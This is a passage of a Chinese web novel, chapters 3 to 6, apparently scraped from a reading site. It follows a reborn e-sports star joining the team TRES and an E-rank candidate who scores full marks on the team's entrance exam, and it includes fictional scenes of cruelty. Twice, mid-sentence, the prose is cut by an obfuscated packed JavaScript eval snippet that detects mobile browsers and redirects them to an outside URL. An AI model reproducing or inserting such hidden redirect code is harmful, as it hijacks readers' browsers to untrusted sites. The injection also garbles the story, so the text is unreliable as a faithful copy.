晏逾明:“来见个朋友。” 王序在病床上用力挣扎着,他知道,晏逾明肯定是发现他做的手脚,来复仇的。 可重伤的他能挣动的只有手指。 晏逾明没有再分一个眼神给王序,继续听吴于丘汇报TRES情况,偶尔应几声。 病床上的动静越来越大,晏逾明投来了眼神。 骨节分明的手挑起注射器,对准输液袋,一边听汇报,一边推动注射器。 透明的液体悄无声息地注入了输液袋中。 病床上的人开始抽搐起来,口吐白沫地抖动,王序想发出声音,但只能发出一些咳嗽声,而后喉咙就被白沫堵住了。 每一根骨头都疼痛起来,异化的燎泡往外吐血,他无声地尖叫。 模糊的视线中,晏逾明站了起来,将注射器随手扔在病床上,往外走。 他并未再看病房一眼,已然走了。 病房的门被关上,最后一道光也被隔绝在外。 王序在昏厥之前,看到了注射器上的英文字母。 异化催化剂。 是能让异化伤口催化的药液,并能保持受药体尽可能久地存活,哪怕以植物人的形态。 王序绝望地闭上了双眼,已经能预料到自己接下来的人生。 他将生不如死地‘活’下去。 病房内,痛苦的尖叫和燎泡一起膨胀不绝。 晏逾明已经走到了医院门口,通讯耳机依旧亮着蓝光,他倚靠在墙上,嘴上慵懒地叼着一根烟,却没有点燃。 这已经是他重生后的第五年了。 上辈子他被一股莫名的力量控制着,做着一些违背自我意愿的事。 重来一次,他在做自己。 按照自己的节奏踩死一些虫子罢了,无足轻重。 吴于丘:“对了老大,战队还差一个辅Vant位。” Vant位一直被戏称为送死先锋位,辅Vant位是送死位中的送死位。 晏逾明叼着烟:“招不到人?” 吴于丘:“招不到S级的Vant位。” TRES的名声在这里,就算是送死位也有很多人报名。 吴于丘:“有几个S级的来报名,没通过测试,老大,要放宽测试么?” 晏逾明说:“不行。” 吴于丘斟酌着:“那…要不,放宽招募要求,不要求一定是S级的?” 晏逾明看着逐渐开过来的车,站直身:“放宽等级。” 吴于丘笑道:“这么一放宽,来报名的人呢肯定多上数百倍,别到时候E级的人都敢来报名。” 吴于丘只是说笑。 他相信没有哪个愣头青,E级就敢来闯TRES。 那就真是要闹天大的笑话了。 4. 第4章 星网瘫痪了。 热搜炸了。 一条热搜爆破了服务器,高高地挂在热搜顶端。 #爆Yu合约到期,自主退出RSV# Yu黑闻腥而来,还没集火开始嘲讽,第二条热搜便甩在众人面前。 #爆S级战队TRES重金聘请Yu成为新的主Carn位# 热搜词条下,拍到TRES老板吴于丘毕恭毕敬将晏逾明请入TRES基地的画面。 紧接着,一条词条以极快的速度爬到了热搜的顶端。 #爆TRES公开招募辅Vant位,不限等级# TRES官博在榜首词条下趁热打铁地发布了公招链接: #TRES公开招募辅Vant位,不限等级# 我们就等你了。点击链接报名。让我们公招测试场见! 注意,报名时间只有24h哦,请大家注意时间,量力而行。 @TRES报名小秘书 1分钟后,官博再次发博: #S级战队TRES重金聘请Yu成为新的主Carn位##Yu神降临,所向披靡# 欢迎Yu加入TRES大家庭! @TRES-Yu以后就靠Yu神罩我们了![官宣图] 官博下,战队其他主力队员纷纷转发。 一时间,各个网友恨不得自己能分成三个,一个去报名TRES公招,一个去吃瓜RSV,一个去吃瓜Yu。 星网瘫痪了三十分钟后,才逐渐不卡了。 B市。 星网瘫了多久,034号便看自家宿主盯了多久的光屏。 光屏上,一直停留在Yu官宣加入的TRES的照片上,整整三十分钟,温知初就这么盯着这张图片。 034:[……] 温知初抬眼看了一眼墙上的钟,像是想起了什么,操作起鼠标,左键保存图片后,给这条官博点了个赞。 点赞后会蹦出爱心的特效。 温知初清冷的眸子里倒映出粉色的亮光,转瞬即逝,她愣了愣后,取消点赞,而后又重新点赞,看爱心再次蹦出来。 面无表情地反复操作了十几次。 爱心特效都快把官宣照给涂满了。 034:[……] 温知初点进TRES公招的页面。 034号欲言又止:[宿主,攻略需谨慎。] 034:[就算要去靠近男主也不能选公招这条路,你只有E级,通过不了S级测试的。] 034:[S级战队的体能战斗力测试是实战,严重的话会全身瘫痪甚至死亡,千万不要报名。] 这也是官博劝大家量力而行的原因。 034号担心宿主冲动行事,还想说些什么,意料之外,温知初没有点进报名页,她站起身,缄默着走进了浴室,留下一句“不要跟进来后”,关上门。 浴室内传来放水的声音,酒店墙上的钟抵达零点。 034号听话地没有跟进浴室,将浴室从自己的全知视角剔除出去。 它看向墙上的钟,明白过来为何宿主会突然将自己锁入浴室—— 零点到了。 每个月一次的到了。 自五年前的3041年起,地球电子废土化后,全民被卷入。 活人是不能长时间待在游戏里的。 每个月的4号,人们会出现非常严重的躯体化症状,身体会如同被电子一寸一寸地剥下皮肉般作痛,疼到每根神经都近似炸裂。 这一天,被称为。 剥离感会维持长达12h。 如果在内杀戮等级高,可以购买到剥离止痛剂,抑制效果在5-80%的范围内。 效果越好,价钱越高。 最便宜的剥离止痛剂也超过五万,普通人根本支付不起。 里,最快赚钱的办法就是加入战队。A级以上的战队会免费发放剥离止痛剂。 这就是为什么人人都想加入战队的原因。 去战队送死,好过每个月都要经历这么一次生不如死。 而且的后遗症非常严重,抵抗力弱的普通人基本熬几个月的会患上大大小小的慢性、急性疾病。 更为生不如死。 每个月4号,是自杀率和死亡率最高的时候。 凌晨的大街上,有许多流浪的散人躺在街角,或是躺在铺着报纸的巷子里、空着的电话亭里,抽搐而痛苦地尖叫。 手边是啤酒瓶和注射器。 注射器里是最便宜的毒品,用来麻醉神经,自杀性地抵挡带来的剧烈痛苦。 他们痛苦地在地上爬,有的甚至无意识地爬到了马路牙子上,几辆货车压过去,一地的血。 头颅随着注射器一起滚动。 没过多久,马路自动清洁,地面不复血液和残骸。 伪饰着和平与繁荣的夜景。 酒店内,034号一直在浴室外惴惴不安。 太安静了。 已经过了好几个小时,浴室里除了水声,安静到可怕。 没有尖叫声,也没有痛苦的呻吟声。 痛起来不是开玩笑的,宿主又没有剥离止痛剂…难道昏过去了? 034号查看宿主生命数据,只能确定她还活着。 浴室内,温知初纤瘦修长的身躯陷在水中,手腕搭在了浴缸外,颀长的手指垂落,水滴从指节往下滴落。 ‘滴答’ ‘滴答’ 深黑的双眸失神地盯着天花板的白炽灯。 就这般。 一直盯着。 温知初的嘴角有一抹不明显的笑,冷淡而温和。 · 日光透进酒店的帘子,墙上的时针终于从零点走到了十二点。 浴室内再次传来‘哗啦’的水声,听起来像是有人从浴缸里站了起来。 034号:[!] 浴室的门打开,034号时隔12h地望向宿主。 温知初除了唇色苍白了些,没有任何变化。 她走出来后,在光屏前坐了几分钟,立马站起身,整理着装。 上身黑T,下身牛仔裤,白皙的手背经络分明,鸭舌帽扣遮住半张脸。 锁骨上,露出系着军牌的灰绳。 温知初:“034号。” 034号:[到、到!] 034号:[…你这就要出门吗?] 刚经历如此地狱的12h,就这么出门了吗? 正常人可是要缓个两三天啊。 034号:[宿主要不你先休息会儿吧…] 温知初:“导航。” 她道:“去TRES测试场。” 034号:[……] 它好歹是个大名鼎鼎的系统,竟然被当成人工智能用了,如此大耻… 温知初:“。” 034号:[到!] 034号:[已为宿主导航中。] 酒店房间的门关上,书桌上的光屏依旧亮着。 光屏的页面上,显示一行字。 [报名表单已提交成功。] · TRES基地,A栋训练场馆内。 ‘欢迎Yu神’几个大字挂在墙上,向来肃穆的训练场馆里多了点欢庆的气氛。 大厅内,朗姆酒混着点威士忌的气味,吴于丘带着教练还有四个主力队员给晏逾明敬酒。 晏逾明懒懒地陷在沙发内,沙发前的那块空地快盛不下他的长腿。 都是熟人,他喝了几杯。 TRES里的所有工作人员,都知道TRES真正的BOSS是谁。 客套之外,其实也很熟稔。 主Tact位邱任望是主力队员里最活泼的,他十九岁进TRES,现在已经过了三年,是被晏逾明选进队的,私下见过不少次晏逾明。 欢迎会里他话最多,负责热场。 教练钱丰拍他的背:“是你的欢迎会还是Yu…总的欢迎会,就属你话的多。” 话说得有些含糊,他不知道该怎么称呼晏逾明。 晏逾明抬眼,一幅很好说话的模样:“就叫Yu。” 钱丰:“……” 吴于丘都叫他老大。 邱任望:“Yu哥,你真要来我们队啊。” 晏逾明问:“不欢迎?” 邱任望:“就觉得你大材小用。” 晏逾明没有再回话,灯光从斜上方照下来,照得他的轮廓愈发淡漠。 邱任望瞧自己酒杯:“我还是不习惯这味儿,还是啤酒好喝。” 他换了啤酒:“Yu哥,公招Vant位放宽等级是你提出的?” 教练钱丰对这个感兴趣:“我也是这么听说的。” 晏逾明说:“嗯。” 邱任望:“放宽等级可是一件大好事,多少人想进S级战队,就是因为等级限制无法报名、错失机会啊…” 他感叹道:“Yu哥你可真是个大好人。” 晏逾明笑而不语。 上辈子他听到的最多的话就是‘你真是个大好人’。 重生前的那五年,他确实做过不少好事,但全部都是受《深渊》钳制、违反他意愿的作为。有一股无形的力量控制着他的躯体。 这些愚蠢的好人作为,换来的永远是愚蠢的背叛。 无聊而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943364|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人厌倦。 重生后已经过了五年,那股力量似乎消失了。但晏逾明并不觉得它就这么完全离去。 晏逾明望着手中的玻璃杯。 他不缺耐心,经得起等待。 吴于丘:“老大人是很好,可惜好人不一定有好报啊。” 他道:“就说那RSV的那群人,我也不知道他们脑子里装的什么,老大这么牛的人带飞他们,他们反而一心想着把他踢出来。” 钱丰插一嘴:“说到这个,今天RSV的老板打电话给我了,说要见老大…”他跟着吴于丘叫‘老大’。 他望向晏逾明。 晏逾明没有抬眼:“要我教你怎么做?” 教练立马笑道:“懂了。” 吴于丘:“下次骂他几句孙子,忘恩负义的家伙。” 邱任望趁机道:“我就不忘恩负义,我一直记着Yu哥带我进TRES的恩,我一定好好打比赛。” 他道:“不过Yu哥你运气是真不好啊,为什么总是能遇到狼心狗肺的家伙,救了他们却总是被反咬一口。” 被反咬一口常态。 晏逾明久违地想起了一个人。 他上辈子,做过的那么多好事里,只有一件好事是他自主地去做,而不是被钳制着推进的。 救了一个小哑巴。 他是在比赛里遇到那个小哑巴的。 小哑巴是敌队的,不会说话,一张冷淡禁欲的脸上长着一双深黑的眼,明明年纪很小,身上却有着一种镇定而沉寂的气质。 不过也因为太过年轻,在他眼里看来,像一个刚长出牙的小狼崽子。 队服上写着‘温知初’三个字,比赛前,赛方提到过当天是她的成年生日。 比赛途中的第一面,他就看到了她发丝间的血痂,她看起来杀了不少人,侧脸到颈间都是血红的。 那双眼看到他时,深深地停顿了眼神。 也许是合眼缘,两人虽然是敌队的,晏逾明没有对她动手。 小哑巴也收起了枪,继续深深地盯着他。 没过多久,比赛快要结束时,他又见到了她。 她摔坐在悬崖旁,一个异种拽着她的胳膊,要将她拽下去。 小哑巴看见了他,投来求救的眼神,喉咙咕哝着却什么都说不出声,血沿着她的颀长的脖颈不停地往下流淌。 她胳膊快被撕烂了但一句疼都没有喊,执拗地望着他,似乎非要等他过来。 当时也不知道哪一点触动了他,晏逾明走过去了。 而后… 被反手推下了悬崖。 再次醒来时,他便重生了。 重生后,只凭着‘温知初’三个字他无法找到那个小哑巴到底在哪里。 距离上辈子死去的时间,还有11个月。 他等着她来找他。 邱任望看到晏逾明的嘴角忽而爬上不明显的笑,也跟着笑起来:“Yu哥想起什么开心事了?” 晏逾明说:“想起一个人。” 邱任望:“我也想起一件好奇的事。” 晏逾明抬眼:“问。” 邱任望:“Yu哥,你五年前就创建TRES,为什么要一直留在RSV啊?” 晏逾明说:“因为想划日历。” 邱任望:“?” 他怎么听不懂。 什么日历? 邱任望的视线投向茶几上的一个复古式纸质日历:“这个日历?” 他拿起来翻看。 日历是从3041年开始的,这五年的日子里密密麻麻画着不同的黑色线条。 有三分之一的日子都被黑线给划去,有的日子,被划不止一条线。 笔触锋利的黑线,如同死神一把把的镰刀。 邱任望:“Yu哥,这些黑线什么意思?” 晏逾明看了一眼:“拜访的故人。” 邱任望感叹:“见这么多人,干什么去啊,吃饭啊…” 晏逾明说:“灭口。” 邱任望:“……” 晏逾明淡淡道:“开玩笑。” 邱任望挠了挠自己脑袋上的卷毛:“Yu哥你可真没幽默感。” 邱任望继续往后翻,发现在明年的三月份,有一个日子被用红笔圈起来了。 三月四号,这是什么日子? 邱任望好奇心很足:“Yu哥,这是什么日子?” 晏逾明的视线投来,顿了顿,扬起唇角:“一个小朋友的生日。” 邱任望愣住了。 不知道为什么,Yu哥明明是笑着回答的,他总觉得这句话浸满寒意,更像是—— “一个小朋友的忌日。” 5. 第5章 B市,TRES测试场。 第一场测试是笔试,分批进场馆进行测验。 测试场外排了很长的队,超过千人,却远远少于网上的报名数。 网上报名的,少说也有五六万,真正来现场的,不超过三千。 队伍中传来抱怨声。 “TRES也是太有心计,第一场测试偏偏选在今天。一下筛选走那些体质不达标的。” “才经历了电子剥离痛,我现在都没缓过来。” “来,分点止痛药。” “我有预感,今天的笔试能刷大半的人。” 工作人员抬手:“下一批进场。” 他们打开阻栏,温知初不紧不慢地往前走,跟着人群走了进去。 她从工作人员那里领取自己的编号手环:“谢谢。” 套上。 她进入24考场,坐到写着自己编号的光屏前。 笔试机考,时长三个小时,包含一百条选择题,一百道填空题,和二十条策略题。 笔试尚未开始,光屏上显示的是三条模拟题,让考生熟悉题型。 温知初戴上耳机。 第一道模拟题:在夺物制比赛中,什么位置的队员可以转移皇后核? A)主Tact位 B)主Carn位 C)辅Vant位D)辅Tact位 温知初选完A,光屏上显示答题正确。 第二道模拟题:一枚炮弹以仰角三十度发射,初速度为五百米每秒,在无空气阻力的情况下,其水平射程(即落地时水平距离)是多少?假设重力加速度为九点八米每平方秒。 非常基础的计算题。 034发现宿主根本没有思考,在填空处直接输入22.1千米。 光屏:[答题正确] 034号:[!] 最后一模拟题是策略题。 某赛场地形为一座占地面积为30平方公里的山地,山脉呈南北走向,山脉以东为平原地带,适合装甲部队快速机动…… 问题: 1.根据地形特点和敌我战力对比,设计一个攻占对方守地的战队计划。 2.在战术计划中,详细说明以下内容:主攻方向及其理由。佯攻方向及其目的。火力配置和打击顺序。如何应对可能到来的敌军装甲旅增援。 温知初停顿几秒,在键盘上输入答案。 034号瞧见宿主三十秒内答完题后,把风险评估也加上去了。 034号:[!!!] 光屏:[答题完美。] 光屏:[恭喜题主模拟题满分,为您载入正式考题中。] 光屏:[友情提醒,考场全程被直播中,请不要有任何作弊行为。直播不会暴露考生面孔,只对准答题界面。] 光屏:[正式答题前,请先用电子笔填写姓名、等级、编号,祝您测试愉快。] 大量的网友涌入‘TRES第一场测试’的官方直播间。 考场按等级分,一共24个考场,最火热的就数1号考场和24号考场。 1号考场都是A级以上的考生,24号考场是C级以下的考生。 去1号考场是去押宝,去24号考场是去看笑话。 弹幕挤满24号考场。 [我的天真有C级以下的人敢来测试啊。] [如果不是我现在还在电子剥离后遗症,我也想去试试,虽然我知道我通过不了。] [天呐24考场竟然有30个考生,他们可真有勇气,我是没办法在直播里丢脸的。] [哈哈哈我看了下一个考生的答案,模拟题基本全错。] [题目好难啊…] [不是,竟然还有3个D级考生!啧...模拟题根本没在规定时间内答完。] [!] [!!!!!!!!!!!我看到了什么,E级考生?] [你开玩笑?看错了吧,怎么可能会有E级考生,E级的体质根本熬不过电子剥离日。] [卧槽!真的有个E级!] [活的E级!怎么敢的啊!] 直播的镜头内,一只修长清瘦的手悬于光屏前。 白皙的手背经络明晰,那只手执笔,写下了自己的名字。 三个字显示在屏幕上,遒劲到几乎要穿过屏幕扎出来。 ‘温知初’。 · TRES基地。 下午三点,晏逾明从训练场回到基地中心区,拿着罐啤酒缓慢地下楼,站在楼梯上往外看。 落地的玻璃隔离庭院里有些回凉的风,明暗不定的光影抹不去高长身影的冷漠轮廓。 邱任望坐在光屏前,聚精会神地看笔试直播,听见身后的脚步声,双眼依依不舍地从屏幕上挪开,提声道:“Yu哥,你训练完回来了?” 晏逾明回了个‘嗯’:“看什么?” “基地笔试直播,报名的人比想象中多。”他兴致冲冲,“Yu哥,一起看?” 晏逾明的视线只在光屏上停留一眼,回到自己的位置。 邱任望知道Yu哥对这些不感兴趣,戴上耳机自己一个人看,顺便拿出个笔记本写写算算,跟着直播一起做题。 看向24考场,他有些惊讶地抬眉:“竟然真的有E级考生报考了,真有胆啊。” 他仔细一瞧:“字写得真不错。” 邱任望念出考生写下的姓名:“温…知…初。” 刚念完,邱任望身边多了一道高长的身影,啤酒罐不知什么时候落在了他的桌旁。 邱任望吓了一跳:“Yu哥…你什么时候站这儿的,吓我一跳。” 晏逾明望向光屏,‘温知初’三个字倒映在他眼中。 宽大的手捏着啤酒罐,神色不明:“继续看。” 邱任望:“切哪个考场?” 晏逾明:“二十四。” 邱任望高兴地应了声‘欸!’,点进24考场的直播间。 · 24考场的监考官态度很不耐烦。 他在一排一排地检查考生编号,手上拿着扫描仪,对准考生手腕上的编号手环,录入数据。 他觉得自己在浪费时间。 这间考场里的考生连C级都达不到,也不知道谁给他们的勇气来挑战TRES的选拔。 监考官紧皱起眉:“手腕抬起来!” 恶声恶气地低吼,强硬地对着考生的手腕扫描,而后再‘啪’得将考生的手腕放下。 脾气硬的考生抬起眼,狠狠地瞪向这个态度恶劣的监考官,却也不能说什么,和考官起冲突是要被取消参赛资格的。 只能隐忍低下头,继续答题。 而脾气软些的,干脆连头也不抬,任由自己的手腕如同猪肉盖章一般被粗鲁得对待。 前排传来‘啪’得一声,温知初抬起眼。 坐在她前排的是个文弱的姑娘,她的编号手环由于过于粗鲁的对待,掉在了地上,发出不小的声音。 其他被打扰的考生发出‘啧’声,而罪魁祸首的监考官也发出‘啧’声。 监考官:“等级是D级就算了,难道生活自理能力也是D级,手环都戴不好?” 考生姑娘眼圈红了。 监考官冷声道:“看什么看,自己捡啊。” 温知初只看了一眼,收回视线,继续答题。 24号考场的热度空前绝后的高,因为网友们发现TRES的官号也在直播观众的列表中。 [是小邱!] [啊啊啊小邱你也来看直播么?] [24号考场有什么好看的,去看1号考场不行么?] [小邱,你也来看那个瞎答题的E级考生么?] …… 涌动的弹幕中,‘瞎答题的E级考生’提及率非常高。 24号考场中,所有人都在聚精会神地作题,在运算纸上小心地计算,构建答题模型,只有一台光屏前,一位面无表情的考生半撑着下巴,纤长的手指快速地点击着鼠标,光屏上的选择题快速地闪过。 平均5秒完成一道选择题。 [好家伙,开眼了,消极考试也不是这么个消极法啊,这纯属瞎答啊。] [我题还没有读完这个考生就已经答完了,这是有多急着结束考试。] [非常符合我对E级考生的刻板印象。] [真是浪费考生名额!] 弹幕里翻滚骂声,温知初已经把100道选择题答完了。 来到填空题后,她坐直身,双手放到键盘上,身体略微前倾。 [填空题该不会还在瞎答吧?] [这人还在瞎答,题目都没看直接写答案。] [没有运算过程直接写射程,牛逼,这是连表面功夫都不做了。] [赶着去投胎啊。] 铺天盖地的弹幕滚动中,温知初打字的速度越来越快,已经开始在答策略题。 扫过的题目的同时,键盘上动作不断。 等弹幕反应过来时,温知初已经站起了身。 光屏上,显示‘答卷已成功提交,正在计算考试结果’几个大字。 其他人还在答题,温知初收拾背包的声音较小,但当她站起身后,考场所有考生以及监考官的眼神都看向了她。 交题之快,监考官甚至还没来得及录入她的手环数据。 温知初望向监考官,扬起自己的手腕,示意。 监考官沉默地皱眉,走向她,没好气地将扫描仪对准温知初手腕上的手环,低声嘲讽:“C级以下就是C级以下,给你们机会都不知道珍惜,消极考试…” 监考官的声音卡在了喉咙里,他对准光屏的眼睛不可置信地睁大,手上的扫描仪几乎没拿稳。 光屏上已经弹出测试结果。 [恭喜考生温知初,满分通过测试,获得体能战斗力测试的资格。] 温知初顺着监考官的视线,轻描淡写地看完光屏上的满分成绩,很快收回了眼。 她慢条斯理地解下自己手腕上的手环。 按照往常,温知初是那种会温和地将手环扣在桌上的那种人... 温知初垂眼,冷淡地瞥了一眼身前的监考官,手环顺手被扔出去,轻声滚落到地上。 “啪嗒”一声。 监考官回过神来,温知初已经走远了,还未被扫描的手环掉落在地上,如同无声的嘲讽。 监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943365|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考官沉默了许久,他弯下腰,捡起了这声嘲讽。 24号考场的弹幕区沉寂了一秒,而后炸了。 [?] [??] [???????????????????????] [卧槽,满分。] [卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽。] [这个E级考生的答卷已经在公示区了,卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽这策略题答得比参考答案还标准。] [卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽我在做梦吗。] …… 大片的弹幕挤过去,大片的标点符号和重复的感叹词席卷而过。 034号全程不敢吱声。 它现在觉得自己不配当温知初的系统。 它不断调出宿主的个人信息和生平资料,始终无法发现任何特别的信息。 它无法想象,这样的宿主,到底是如何大隐隐于《深渊》的。 它无法探测宿主的深浅。 温知初斜背起背包,三步并成两步地下楼。 在看到测试馆门口守着的镜头和直播记者时,温知初停下了脚步,背包里的保龄球发出相扣的声音。 看到记者小哥发亮的眼神后,温知初有些无奈地压低了帽檐。 记者小哥:“温知初!” 他拿着话筒:“你就是那位第一位交题!满分的温知初对吗!” 记者小哥带着身后的摄影跑过来,几个人顿时将温知初包围住。 记者小哥的语气里充满兴奋:“可以采访你吗?” 温知初将帽檐压得更低:“对不起,我还有事。” 她颀长的手指半遮住镜头,直播里只露出她的下颌线。 记者小哥注意到她不太想上镜,让摄影师将镜头移开:“只声音入镜也行的,我们就想简单问几个问题。” 温知初低声‘嗯’了一声。 记者小哥的语气有多兴奋,温知初回答的语气就有多平稳。 记者问了几个有关策略题她为何会那么回答的问题,她语速较慢但讲得很清晰。 答完后,记者和摄影师看向她的眼神更兴奋了。 温知初:“……” 记者对着镜头:“你们能想象到吗,这是一位还未成年的E级考生。” 实时拥挤的弹幕现场证明‘没想到’三个字。 温知初:“我可以走了么?” 记者立马转过身:“最后一个问题!有关TRES战队的!” 他开口:“刚才你作答时,TRES战队也在一直关注你。我们注意到官号一直停留在24考场的直播中。既然考生你报考TRES战队,相信你是非常喜欢TRES的。” 温知初浓密的睫毛停顿了片刻,插在裤兜里的手不自觉地定住。 TRES战队…他…也在看么。 记者:“说到这里,我们不由就好奇,温知初考生,在TRES战队里,你最崇拜的是谁,换句话说,你最希望刚才在考场里关注你的那位队员是谁?” 温知初抬眼。 镜头的另一端,邱任望已经对着公示的答卷说了好几句带有国骂的赞美之词,听到记者的问题后,他不禁开口:“这还要问,我们战队最强的可只有一个,肯定是Yu哥啊。” 虽然这么说,他不断扣动的手指暴露了他有些期待答案是自己的激动。 脑袋这么好用的考生,太适合当Tact位了。 要是这个考生真的能通过体能战斗力测试,找机会他肯定调她来Tact位…可惜Tact位已经满了。 晏逾明半倚在桌旁,漫不经心地望向光屏,喝了口啤酒。 此时智脑区多了一个身影。 TRES战队的将铭。 将铭比邱任望大两岁,担任TRES战队的辅Carn位,是一个综合实力非常强的冷面战将,也是一位脑子里只有比赛和训练的清瘦青年。 邱任望经常调侃他是‘木头’‘面瘫’,但从来不否认他实力之高。 在晏逾明来TRES之前,他是TRES的主Carn位。 他来智脑区只是为了打印训练资料,对测试直播一点都没兴趣,不过在看到那份过于完美的答卷后,他也不禁停下了脚步。 记者面前,温知初望向了没有对准她的镜头,下颌线被鸭舌帽的阴影遮盖。 一直沉默的034号很激动:“宿主,攻略的好机会!” “系统探测到晏逾明有很大可能就在看直播采访!” “宿主你不是说过你的偶像是Yu么,对着镜头回答这个答案,肯定能提高他对你的好感度。” 鸭舌帽下,温知初的唇角轻轻地挑起:“TRES的每一个队员都非常值得尊重。” 记者:“如果非要选一个呢。” 温知初:“如果非要选一个…将铭选手。” 避开了心中的答案。 她捏住自己的耳垂,遮住耳廓边缘不是很明显的淡红:“他的比赛打法很值得学习。” 他真的…在看么… 镜头对面,晏逾明手中的啤酒罐放在了桌上,扬起一个淡漠而散漫的笑,转身离开。 6. 第6章 采访终于结束,温知初缓缓呼出一口气,走出测试场馆。 踏出门,春风涌来,身后响起湍急的脚步声。 “温知初考生!” 温知初转过头,看到一个女孩工作人员朝她跑过来,是刚才的摄影师之一。 她气喘吁吁地从口袋里掏出一沓贴画,塞到温知初手上。 工作人员:“我也是TRES的粉丝,这是我们内部人员才能领到的贴画周边,给你。” 温知初愣了愣:“谢谢。” 工作人员眨了眨眼:“里面我多放了一份将铭的。” 温知初不自然地咳了一声:“谢…谢。” 场馆里有人喊工作人员的名字,她应了声‘马上来’,回过头望向温知初。 工作人员:“加油!我很看好你。” 工作人员也是C级以下的等级,她知道这个等级能走到现在有多艰难和难得。 她道:“你一定要进TRES战队!” 温知初轻笑:“好。” 和工作人员道别后,温知初一边往外走一边看手中的贴画,TRES战队的周边贴画,五个主力队员每人都印有两份,将铭的多出一份。 温知初望向印有Yu的贴画,视线长久地停留。 她将其余贴画塞入背包,拆开Yu的周边贴画,打开包装后将指甲盖大的贴画撕开。 她低头望向自己,脸上出现少见的迷茫。 片刻后,她将贴画贴在了自己T恤的靠锁骨位置,和挂着军牌的灰绳紧靠在一起。 034:“……” · TRES中心休息区。 沙发旁,教练和队员坐着。 教练钱丰翻开手上的纸板。 钱丰:“测试结果出来了,6938个考生,通过笔试的有200个。” 邱任望挠了挠头:“Yu哥,比我想象中要多。” 晏逾明坐在沙发中央,他戴上了眼镜,散漫地靠着沙发看书,偶尔才抬眼。 他道:“嗯。” 将铭正襟危坐,盯着手中自己的训练资料,看得眉头紧皱。 邱任望环顾四周,精神很不集中:“其他人还在训练啊…他们怎么这么慢。” 在中心区活动的,一共有五位主力队员。 其余机动成员并不和他们一起住宿和训练。 等新招的辅Vant位进来,主力队员才能达到S级联赛所要求的六个。 教练钱丰:“大家看过测试了么,有没有印象比较深刻的考生?” 邱任望对这个话题感兴趣:“这还用说,那个满分的那个啊。” 他道:“我记得叫…” 将铭:“温知初。” 邱任望:“对,温知初!” 他转头望将铭:“木头,你怎么回事儿,竟然记得人名儿?” 想当初他刚进队的时候,将铭花了两个月的时间才把他的名字叫对了,气得他的卷毛都快炸了。 邱任望很不服气:“区别待遇,粉丝福利?” 将铭:“你当初如果能笔试得满分,我也会记住你。” 邱任望:“……” 将铭转言道:“不过,我并不看好她能通过下一场测试。” 教练钱丰‘啧’了一声:“这个考生E级的体质确实是个问题,为什么只是个E级呢,这体质太差了。” 他叹气:“可惜。” 晏逾明依旧翻看手上的书。 说话间,休息区的感应门打开,两道高长的身影一起走进来。 邱任望喜欢人多,立马转过身:“黑眼镜儿,老狐狸,你们终于训练完了?” 并排走来的两道身影中,狐狸眼的那位叫作章诎,目前担任TRES的辅Tact位,26岁,性子和他的眼型一样肖似狐狸,邱任望喜欢喊他老狐狸。 他和邱任望是队内的智囊担当,轮流担当主辅Tact,他的经验略丰厚于邱任望,总体担任主Tact位的次数要比邱任望要多。 战队里邱任望最怵的就是这位老狐狸,因为章诎这人一肚子坏水,比赛时阴招不断。这样的人,幸好是队友。 另一位戴黑框眼镜的叫作屈孚宁,25岁,担任TRES的主Vant位,是个非常害羞闷涩的小伙子,他有轻微的恐人症,平常很少说话。 他明明长得算是帅气,却顶着一头厚齐刘海的发型,戴着笨重的眼镜,似乎想以此隔绝人群。 每次上场,他的粉丝经常在弹幕里调侃:“举报,有人戴头盔比赛。” 晏逾明翻着手中的书页,章诎和屈孚宁经过他时,都喊了一声“Yu哥”。 明明他们都比晏逾明岁数大。 晏逾明颔首。 章诎眯着一双狐狸眼走到教练身旁:“在聊受测试的队员?” 教练钱丰:“你觉得温知初怎么样?” 邱任望插话:“我觉得不错。” 章诎眯了眯眼:“我不太喜欢这个考生。” 邱任望:“?” 邱任望:“人身攻击?” 章诎:“对于这种不珍重自己生命的人,我没办法理解。E级考生来参加选拔,我觉得这种选择配不上她能答满分的脑子。” 邱任望:“E级怎么了,E级…” 他说不下去了。 C级考生进入体能战斗力测试都有可能死亡,更何况是体质最差的E级。 邱任望挠了挠自己的卷发,苦恼道:“老钱,我记得咱们基地不仅招选手也在招技术人员,这个考生这么聪明,就算成不了队员,让她进技术部也行。” 教练老钱沉默着。 他倒是想,问题是人家没报名技术部,报名的是选手部啊。 黑眼镜儿屈孚宁缩在沙发角落,埋着脑袋玩儿自己的手指。 邱任望瞧他:“黑眼镜儿,这是在替你们Vant位招人,作为主Vant位,你对这位考生怎么看?” 屈孚宁抿了抿唇,声音很低:“我没看。” 邱任望:“什么?”他把耳朵凑过去:“我没听清。” 屈孚宁侧过身,躲过邱任望的靠近:“我没看测试,不知道是哪位考生。” 邱任望:“……” 很好,恐人人设屹立不倒。 屈孚宁声音依旧很低:“不过既然是E级…我也不…看好。” 章诎:“还有很多比分稍微差些的A级考生,比起温知初,我更看好他们。” 邱任望欲言又止:“说不定…E级也可以在战斗上很厉害呢…” 章诎笑道:“不可能。” 教练老钱翻看着选手的简历,一会儿点头一会儿摇头。 晏逾明摘下眼镜,书签插入在书页间,他阖上书。 